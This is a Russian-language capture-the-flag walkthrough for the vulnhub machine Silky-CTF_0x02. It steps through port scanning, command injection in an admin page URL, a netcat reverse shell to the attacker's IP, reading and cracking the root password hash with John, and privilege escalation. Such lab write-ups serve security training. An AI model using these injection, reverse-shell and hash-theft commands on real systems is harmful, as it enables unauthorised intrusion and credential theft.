Capture the Flag, CTF, Silky-CTF

Решение CTF. Silky-CTF_0x02.

Здравствуйте, дорогие друзья.

Продолжаем рассматривать решение заданий CTF, и сейчас рассмотрим вторую часть Silky-CTF, и она так и называется Silky-CTF_0x02.

Скачать ее можно с vulnhub, где мы сможем найти ссылку:

https://www.vulnhub.com/entry/silky-ctf-0x02,307/.

Для начала скачаем данную виртуальную машину и сверим контрольную сумму. Что это такое, и как сравнивать, я описывал в предыдущем решении, так что потрудитесь и найдите необходимые шаги, которые мы проходили:

vulnhub download

После сверки контрольной суммы, нужно просто сделать двойной щелчок мыши и установка начнется автоматически. В данном примере я использую среду виртуализации Vmware.

Окно для ввода пароля будет выглядеть как:

Окно для ввода пароля будет выглядеть как

Разумеется, пароль и айпи адрес мы не знаем.

Нам нужно узнать айпи в нашей сети, с помощью утилиты «netdiscover»:

Нам нужно узнать айпи в нашей сети, с помощью утилиты «netdiscover»

Отлично, теперь мы знаем наш искомый айпи-адрес. Давайте просканируем цель на предмет открытых портов. Воспользуемся инструментом «nmap», и команда будет выглядеть как: «nmap –A –sV 192.168.119.139 »:

nmap –A –sV 192.168.119.139

Как видим, открыты два порта – это 22/tcp ssh, и 80/tcp http. Переходим в браузер, и видим, что сервер запущен на исследуемой машине:

запущенный сервер apache2

Далее воспользуемся сканером веб-контента dirb, и поищем директории:

Далее воспользуемся сканером веб-контента dirb, и поищем директории

Нас будет интересовать админка:

Нас будет интересовать админка

Введем рандомные логин и пароль. Получаем следующий вывод:

рандомный логин и пароль

Поиграемся с адресной строкой url, в частности заменим имя пользователя, на команду линукс «ls»:

линукс ls

Можем пойти дальше и дополнить команду с параметрами «-al»:

Можем пойти дальше и дополнить команду с параметрами «-al»

Отлично, видим вывод достаточно полезной информации.

Далее нам нужно воспользоваться инструментом «netcat», для прослушивания входящего соединения. Это команда

«nc –lvp 4545». Все это делаем в директории «Desktop»:

nc –lvp 4545

Проверяем свой айпи адрес, с помощью команды «ifconfig»:

ifconfig

Адрес нам нужен для последующего соединения с нашей машиной.

Переходим в админку сайта, и прописываем команду в адресной строке url: «/bin/nc 192.168.119.128 4545 –e /bin/bash»:

/bin/nc 192.168.119.128 4545 –e /bin/bash»

Соединение было успешно установлено:

Соединение было успешно установлено

Теперь нам нужно воспользоваться скриптом на Python, для перехода в шелл. Это команда: «python –c ‘import pty;pty.spawn(“/bin/bash”)’»:

python –c ‘import pty;pty.spawn(“/bin/bash”)’

Походив по директориям, можно найти флаг:

Походив по директориям, можно найти флаг

После этого продолжаем рассматривать различные директории, с помощью команды «ls -alh», и нас будет интересовать файл «cat_shadow»:

После этого продолжаем рассматривать различные директории, с помощью команды «ls -alh»

Пробуем запустить этот файл, но сразу это сделать не получается:

Пробуем запустить этот файл, но сразу это сделать не получается

Наконец-то у нас получилось открыть данный файл, и мы видим список зашифрованных паролей, в частности «root»:

мы видим список зашифрованных паролей, в частности «root»

Копируем полученное значение пароля, и переходим в новый терминал, создав файл в текстовом редакторе nano:

Копируем полученное значение пароля, и переходим в новый терминал, создав файл в текстовом редакторе nano

Теперь можно взломать пароль с помощью инструмента John:

Теперь можно взломать пароль с помощью инструмента John

После некоторого промежутка времени наш хэш будет взломан:

После некоторого промежутка времени наш хэш будет взломан

Пробуем повысить права с помощью взломанного пароля:

Пробуем повысить права с помощью взломанного пароля

Переходим в директорию «root», и находим наш флаг:

Переходим в директорию «root», и находим наш флаг
На этом все. Всем хорошего дня.

На этом все. Всем хорошего дня.